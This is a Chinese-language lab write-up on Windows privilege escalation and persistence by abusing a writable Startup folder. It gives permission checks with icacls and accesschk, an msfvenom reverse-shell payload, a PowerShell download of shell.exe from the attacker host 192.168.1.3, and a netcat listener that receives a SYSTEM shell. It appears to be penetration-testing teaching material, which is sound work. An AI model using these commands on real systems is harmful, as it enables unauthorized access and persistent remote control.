启动文件夹是一个可从“开始”菜单访问的文件夹。一旦用户打开他们的机器,保存在这个文件夹中的程序将立即启动。 Windows 中的启动文件夹有两个位置。
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
shell:common startup
C:\Users\<User_Name>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
shell: startup
在启动文件夹中注入恶意程序也会导致该程序在用户登录时执行,因此它可能有助于攻击者从错误配置的启动文件夹位置执行持久性或特权升级攻击。
这种技术是众所周知的 APT(例如 APT3、APT33、APT39 等)使用的最受驱动的持久性方法。
目标机器: Windows 10
攻击机: Kali Linux
工具: AccessChk.exe
条件: 使用 Metasploit
或 Netcat
等以低权限访问目标机器。
目标: 通过利用错误配置的启动文件夹,提升低权限用户的 NT Authority /SYSTEM
权限。
使用以下路径导航到启动目录C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
访问启动文件夹属性并选择安全选项。单击编辑选项以将危险权限分配给用户组。
icacls
枚举分配权限攻击者可以利用这些配置位置来启动恶意软件,例如 RAT
,以便在系统重启期间维持持久性。 在初步设置之后,可以使用以下命令识别权限:
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
accessschk.exe
枚举分配权限accesschk.exe 是Sysinternals 工具的另一个权限检查工具。
accesschk.exe /accepteula "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
这里在 BUILTIN\Users
上分配了读写权限
知道当前用户拥有启动文件夹的读写权限,因此可以注入 RAT
来执行持久化或权限升级。在 msfvenom
的帮助下创建一个可执行程序。
msfvenom –p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > shell.exepython –m SimpleHTTPServer 80
执行恶意可执行文件
在新终端中启动 netcat
侦听器,并在以下命令的帮助下传输 shell.exe
cd C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startuppowershell wget 192.168.1.3/shell.exe -o shell.exe
dir
众所周知,这种攻击被命名为 Boot Logon Autostart Execution
,这意味着 shell.exe
文件在系统重新启动时运行
攻击者将在新的 netcat
会话中以 NT Authority\System
的身份获得反向连接